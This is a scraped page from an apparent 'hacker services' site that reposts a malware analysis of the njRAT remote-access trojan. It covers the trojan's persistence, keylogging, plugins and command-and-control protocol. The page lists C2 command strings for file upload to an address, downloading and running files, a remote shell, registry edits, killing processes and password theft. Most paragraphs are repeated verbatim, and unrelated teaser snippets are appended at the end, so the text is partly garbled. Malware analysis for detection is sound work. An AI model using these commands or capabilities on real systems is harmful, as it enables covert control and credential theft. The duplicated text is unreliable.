当前位置:首页 > 黑客服务 > 正文内容

简单的木马程序代码(木马程序编程)

hacker2年前 (2022-07-29)黑客服务124

*本文原创作者:菠菜,本文属FreeBuf原创奖励计划,未经许可禁止转载

Njrat,又称Bladabindi,该木马家族使用.NET框架编写,是一个典型的RAT类程序,通过控制端可以操作受控端的文件、进程、服务、注册表内容,也可以盗取受控端的浏览器的保存的密码信息等内容。此外,还具有远程屏幕抓取,木马客户端升级等功能。

Njrat采用了插件机制,通过使用不同的插件来扩展新的木马功能。

本文涉及到njrat的三款插件,分别为:sc2.dll,ch.dll和pw.dll,其中的ch.dll用来实现与受控端的聊天对话功能。pw.dll用来实现对受控端密码内容的抓取,sc2.dll用来实现远程桌面功能。

当受控端上线时,主控端会弹出提示信息如下所示:

控制端:

木马配置选项如下:

展开全文

控制界面如下图

木马程序 总体的代码结构:

对于被控端代码(也就是木马程序)的总体代码结构如下图:

木马的Main函数入口只是调用了Ok类的ko方法。

确保单实例运行

简单的木马程序代码(木马程序编程)

通过互斥体来实现单实例运行。互斥体名称为“f8782a013a20610e09216f21b705d856”。

拷贝自身,设置注册表,加启动项:

1.判断是不是在temp目录下

2.如果不在temp目录下,判断temp目录下是否有样本文件存在

3.如果样本文件存在,刚将样本文件删除

4.重新拷贝自己到临时目录下

5.运行temp目录下的程序

1.判断是不是在temp目录下

2.如果不在temp目录下,判断temp目录下是否有样本文件存在

3.如果样本文件存在,刚将样本文件删除

4.重新拷贝自己到临时目录下

5.运行temp目录下的程序

设置注册表:

添加防火墙规则:

添加启动项,与主控端设置相关:

添加的注册表中启动项位置

添加的启动项的名称

键盘记录功能:

开启线程键盘记录

键盘记录线程函数:

键盘记录到的内容:

通信过程

通信中的关键数据使用加密的数据。通信命令各部分之间使用|’|'|分隔。

开启线程,与主控端通信

通信过程的内容主要分为四部分:

第一部分:命令类型如Ex,un,div,rn,ret等

第二部分为:命令的子类型,如proc,tcp,RG,rs,srv

第三部分为:操作命令,如~表示查看,k表示杀掉

第四部分为:操作命令对应的参数。如要杀死的进程名,要启动的服务名,要关闭的网络连接等

第一部分:命令类型如Ex,un,div,rn,ret等

第二部分为:命令的子类型,如proc,tcp,RG,rs,srv

第三部分为:操作命令,如~表示查看,k表示杀掉

第四部分为:操作命令对应的参数。如要杀死的进程名,要启动的服务名,要关闭的网络连接等

以下对于常用功能的通信命令进行详细分析。

文件管理命令

Ex|'|'|fm|'|'|~

命令类型为Ex,命令子类型为fm

操作命令类型如下:

!对应打开文件内容,

dl删除文件

rar表示压缩文件

nm表示重命名文件

up表示上传文件

fl表示

Ex|'|'|fm|'|'|!|'|'|QzpcVXNlcnNcQWRtaW5pc3RyYXRvclxEZXNrdG9wXA==表示打开“C:UsersAdministratorDesktop”目录

Ex|'|'|fm|'|'|dl|'|'|RTpcZHVtcCAtIOWJr+acrC5leGUq表示删除“E:dump - 副本.exe“文件

Ex|'|'|fm|'|'|rar|'|'|RTpcLnJhcg==|'|'|RTpc|'|'|YSAteSAiRTpcLnJhciIgImR1bXAgLSDlia/mnKwubWFwIg==将“a -y "E:.rar" "dump - 副本.map"”压缩到“E:.rar”(RTpcLnJhcg==解)

Ex|'|'|fm|'|'|nm|'|'|RTpcaHJzd29yZC5leGUqSEFIQSo=将E:hrsword.exe命名为HAHA

Ex|'|'|fm|'|'|up|'|'|10.0.2.15:49200|'|'|RTpcZXhhbXBsZS5iYXQ=|'|'|8将“E:example.bat”文件上传到10.0.2.15:49200地址,文件的大小为8字节

Ex|'|'|fm|'|'|fl|'|'|d3d3LmJhaWR1LmNvbS9hLmpwZw==|'|'|RTpcd3d3LmJhaWR1LmNvbS9hLmpwZw==将www.baidu.com/a.jpg下载到

Ex|'|'|fm|'|'|~

命令类型为Ex,命令子类型为fm

操作命令类型如下:

!对应打开文件内容,

dl删除文件

rar表示压缩文件

nm表示重命名文件

up表示上传文件

fl表示

Ex|'|'|fm|'|'|!|'|'|QzpcVXNlcnNcQWRtaW5pc3RyYXRvclxEZXNrdG9wXA==表示打开“C:UsersAdministratorDesktop”目录

Ex|'|'|fm|'|'|dl|'|'|RTpcZHVtcCAtIOWJr+acrC5leGUq表示删除“E:dump - 副本.exe“文件

Ex|'|'|fm|'|'|rar|'|'|RTpcLnJhcg==|'|'|RTpc|'|'|YSAteSAiRTpcLnJhciIgImR1bXAgLSDlia/mnKwubWFwIg==将“a -y "E:.rar" "dump - 副本.map"”压缩到“E:.rar”(RTpcLnJhcg==解)

Ex|'|'|fm|'|'|nm|'|'|RTpcaHJzd29yZC5leGUqSEFIQSo=将E:hrsword.exe命名为HAHA

Ex|'|'|fm|'|'|up|'|'|10.0.2.15:49200|'|'|RTpcZXhhbXBsZS5iYXQ=|'|'|8将“E:example.bat”文件上传到10.0.2.15:49200地址,文件的大小为8字节

Ex|'|'|fm|'|'|fl|'|'|d3d3LmJhaWR1LmNvbS9hLmpwZw==|'|'|RTpcd3d3LmJhaWR1LmNvbS9hLmpwZw==将www.baidu.com/a.jpg下载到

命令格式为:

Ex|'|'|tcp|'|'|操作命令|'|'|操作参数

操作命令中:!表示断开连接,~表示显示连接列表

Ex|'|'|tcp|'|'|~|'|'| 表示显示所有的网络连接列表

Ex|'|'|tcp|'|'|!|'|'|0.0.0.0:491540.0.0.0:0表示断开这条连接

Ex|'|'|tcp|'|'|操作命令|'|'|操作参数

操作命令中:!表示断开连接,~表示显示连接列表

Ex|'|'|tcp|'|'|~|'|'| 表示显示所有的网络连接列表

Ex|'|'|tcp|'|'|!|'|'|0.0.0.0:491540.0.0.0:0表示断开这条连接

命令格式为:

Ex|'|'|RG|'|'|操作命令|'|'|操作参数

操作命令包括:

~表示查看命令,!表示新建命令,@表示删除注册表内容命令

Ex|'|'|RG|'|'|!|'|'|HKEY_CURRENT_USER|'|'|aaaa|'|'|bbb|'|'|1表示在HKEY_CURRENT_USER注册表下新建名字为aaaa,内容为bbb,类型为1的注册表项

Ex|'|'|RG|'|'|操作命令|'|'|操作参数

操作命令包括:

~表示查看命令,!表示新建命令,@表示删除注册表内容命令

Ex|'|'|RG|'|'|!|'|'|HKEY_CURRENT_USER|'|'|aaaa|'|'|bbb|'|'|1表示在HKEY_CURRENT_USER注册表下新建名字为aaaa,内容为bbb,类型为1的注册表项

Ex|'|'|RG|'|'|@|'|'|HKEY_CURRENT_USER|'|'|aaaa删除aaaa的键值

Ex|'|'|RG|'|'|~|'|'|HKEY_CURRENT_USER 查看注册表HKEY_CURRENT_USER下的内容

Ex|'|'|RG|'|'|@|'|'|HKEY_CURRENT_USER|'|'|aaaa删除aaaa的键值

Ex|'|'|RG|'|'|~|'|'|HKEY_CURRENT_USER 查看注册表HKEY_CURRENT_USER下的内容

命令格式为:Ex|'|'|rs|'|'|操作命令|'|'|操作参数

操作命令包括:

~表示打开远程shell命令,!表示远程执行命令

Ex|'|'|rs|'|'|~ 表示显示远程shell窗口

Ex|'|'|rs|'|'|!|'|'|dGFza2xpc3Q= 远程运行tasklist命令

命令格式为:Ex|'|'|rs|'|'|操作命令|'|'|操作参数

操作命令包括:

~表示打开远程shell命令,!表示远程执行命令

Ex|'|'|rs|'|'|~ 表示显示远程shell窗口

Ex|'|'|rs|'|'|!|'|'|dGFza2xpc3Q= 远程运行tasklist命令

命令格式为:Ex|'|'| srv |'|'|操作命令|'|'|操作参数

操作命令包括:

~对应显示列表命令,@对应的暂停命令,!对应的停止命令,#对应开启服务命令

Ex|'|'|srv|'|'|~ 显示所有的服务列表

Ex|'|'|srv|'|'|!|'|'|AeLookupSvc 停止AeLookupSvc服务的命令

命令格式为:Ex|'|'| srv |'|'|操作命令|'|'|操作参数

操作命令包括:

~对应显示列表命令,@对应的暂停命令,!对应的停止命令,#对应开启服务命令

Ex|'|'|srv|'|'|~ 显示所有的服务列表

Ex|'|'|srv|'|'|!|'|'|AeLookupSvc 停止AeLookupSvc服务的命令

命令格式为:Ex|'|'| proc |'|'|操作命令|'|'|操作参数

操作命令包括:

简单的木马程序代码(木马程序编程)

~对应显示列表命令,k杀死指定进程

Ex|'|'|proc|'|'|~ 显示进程列表

Ex|'|'|proc|'|'|k|'|'|3036 杀死pid为3036的进程的通信命令

命令格式为:Ex|'|'| proc |'|'|操作命令|'|'|操作参数

操作命令包括:

~对应显示列表命令,k杀死指定进程

Ex|'|'|proc|'|'|~ 显示进程列表

Ex|'|'|proc|'|'|k|'|'|3036 杀死pid为3036的进程的通信命令

命令格式为:un |’|'| proc|’|'|操作命令

操作命令包括:

!结束木马端的运行,@重新启动木马客户端, ~卸载木马程序

卸载木马程序主要进行下面的操作

升级木马客户端

使用up 命令

有两种升级方式:本地磁盘文件升级和在线升级

使用在线升级的数据包内容为:

up|'|'|木马升级包地址

本地升级数据包内容为:

up|'|'|u001F+本地升级包的zip压缩后的内容

使用up 命令

有两种升级方式:本地磁盘文件升级和在线升级

使用在线升级的数据包内容为:

up|'|'|木马升级包地址

本地升级数据包内容为:

up|'|'|u001F+本地升级包的zip压缩后的内容

被控端接收到下载执行的命令,解析出命令参数,使用WebClient的DownloadData方法下载,下载成功后执行

脚本执行与本地执行:

主控端的脚本的内容会使用ZIP压缩后,再封装成命令包发送,控制端接收到命令后,会使用压缩算法解压后,将内容写入到临时目录下的指定的扩展名(扩展名也由主控端发送确定)后,执行。

与下载执行的数据包内容不同之处在于,脚本执行与本地执行数据包的头两个字节为001f

获取密码:

主控端向受控端发送ret指令,受控端接收到指令后,加载注册表中保存的pw插件,使用插件获取到密码后发送给主控端

主控端发送的命令为:

ret|'|'|b88ece4c04f706c9717bbe6fbda49ed2|'|'|(

其中的b88ece4c04f706c9717bbe6fbda49ed2表示pw插件保存在注册表中的位置

受控端返回的密码信息格式为:

ret|'|'|b88ece4c04f706c9717bbe6fbda49ed2|'|'|KiAqICogKiAqICogKiAqICogKiAqICogKiA=

KiAqICogKiAqICogKiAqICogKiAqICogKiA=解后为“* * * * * * * * * * ** *”,表示没有获得密码内容

ret|'|'|b88ece4c04f706c9717bbe6fbda49ed2|'|'|(

其中的b88ece4c04f706c9717bbe6fbda49ed2表示pw插件保存在注册表中的位置

受控端返回的密码信息格式为:

ret|'|'|b88ece4c04f706c9717bbe6fbda49ed2|'|'|KiAqICogKiAqICogKiAqICogKiAqICogKiA=

KiAqICogKiAqICogKiAqICogKiAqICogKiA=解后为“* * * * * * * * * * ** *”,表示没有获得密码内容

聊天通信的实现:

从注册表中得到ch的组件,大小为 0×3000。

屏幕图像的通信:

这里的通信并不是“远程桌面”的效果,而是下图中的缩略图的通信内容

通过CopyFromScreen得到屏幕截图保存到图片格式,随后将此次生成的图像与上次生成的图像进行md5比较,如果md5不一致,则发送这次的截图数据。通过md5来对比图像是为了减少重复传输多次相同内容的图像。

通信的数据包内容为:

CAP|'|'|35|'|'|23

表示向受控端请求的图像是用来显示在主控端的缩略图中

远程桌面的通信:

远程桌面的效果图:

通信的数据包命令为:div

木马端会根据控制端传送的数据包,判断注册表下是不是有对应的插件,如果没有,发送反馈包给控制端,随后控制端会发送一个经过压缩的sc2.dll的插件给受控端,受控端随后启用插件进行远程桌面的通信。并将插件写入到注册表中。

结论

Njrat 是近年来最为活跃的木马家族之一。这一方面是因为木马简单易学,在网上随处可见配置木马的文章,另一方面,其强大的远控功能满足了网络犯罪的需要,甚至网络江湖中有传闻,极端组织ISIS也曾使用njRAT作为重要的网络武器。

本文只是对njRat使用的各种远控功能的数据通话进行了梳理与罗列,只做技术学习交流。安全厂商可根据自身需要在其网络安全设备中加入相应的检测与防护策略,共同抵抗njrat的入侵。

*本文原创作者:菠菜,本文属FreeBuf原创奖励计划,未经许可禁止转载

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:http://therlest.com/133478.html

分享给朋友:

“简单的木马程序代码(木马程序编程)” 的相关文章

吃鸡鸭的屁股会有病吗?我非常爱吃鸡鸭的屁股,但经常吃会有病吗?另

吃鸡鸭的屁股会有病吗?我非常爱吃鸡鸭的屁股,但经常吃会有病吗?另 鸡鸭的肛门附近组织,布满大大小小的腺体,各类秽物与毒素都在这些腺体囤积;鸡鸭的肛门也有非常高密度的大肠杆菌,所以鸡鸭的屁股不是少吃的问题,而是不能吃.吃得少可能没觉出怎样,多了问题就显出来了.而且鸡鸭屁股的大肠杆菌会随着蛋生出来的时...

家庭用水价格,生活用水价格

约64元,用水价格:生活用水:1点4元/吨,一般三口之家,181-260吨,营业电1元,用的比较少,至来年4月洗热水澡,自来水调价。 污水费0点,8价格元/吨,广州市的居民生活用水从原来的每立方米0点9元,水价也不一样。据此,很难说清楚。居室条件等等,生活用水会比较贵。 自来水费和污水处理费三部分,...

古文化常识(中国古代文化常识大全)

1.中国古代文化常识 文学常识? 四本书:《论语》、《中庸》、《孟子大学》 五经:《诗经》《礼记》《周易》《春秋》 乐府双壁:木兰诗孔雀东南飞 三个字:警告世界,说真话,说真话,唤醒世界,说同样的话 第二枪:第一枪很厉害,第二枪也很厉害 三官:石渠官、潼关官、新安官 三次告别:新婚、老...

青岛新闻网房产 - 青岛个人房源出售

估计那个时候,0以上的住房为普通住宅。来说几句. 3500左右,我建议你来沧口找房子吧,青岛房产网51青岛信息港-房产,市北区的现在也到了新闻网7000了。提供覆盖青岛的别墅、一小时车程的房子大约在虎山以外,台南路。 还有的别墅个人150一般的房子都要,我就在黄岛住,早下手吧!沿海一带,2手放一般都...

鸡业行情网今日鸡价,鸡业行情网下载安装

河南:新乡肉鸡价格4点45:鸡架2点鸡肉7点鸡大腿鸡翅根8点鸡爪鸡翅尖鸡翅中鸡心鸡肝,其地址为http,除江苏地区苗鸡价格略涨,烟台网肉鸡价格4点65-4点75元/斤/wyimucom/down-15679html,1点00元/羽,点击“下载文件。以市斤为单位/羽 菏泽鸡苗价格3点90-4点30元/...

铁盖子可以放入高压锅蒸吗?装酱料的铁盖子,外面的涂层有些剥落,好

铁盖子可以放入高压锅蒸吗?装酱料的铁盖子,外面的涂层有些剥落,好 铁盖子可以放入高压锅蒸吗? 装酱料的铁盖子,外面的涂层有些剥落,好象也没锈,可以拿它盖严瓶子入高压锅蒸吗? 绝对不行!既危险又不卫生。盖住的瓶子在高压锅中加热,很容易形成压力差而爆炸;铁在高压锅中的水蒸汽作用下极易变成四氧化三...

评论列表

舔夺不矜
2年前 (2022-07-29)

9wXA==表示打开“C:UsersAdministratorDesktop”目录Ex|'|'|fm|'|'|dl|'|'|RTpcZHVtcCAtIOWJr+acrC5leGUq表示删除“E:dump - 副本.exe“文件Ex|

野欢徒掠
2年前 (2022-07-29)

KEY_CURRENT_USER|'|'|aaaa|'|'|bbb|'|'|1表示在HKEY_CURRENT_USER注册表下新建名字为aaaa,内容为bbb,类型为1的注册表项Ex|'|'|RG|'|'|@|'

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。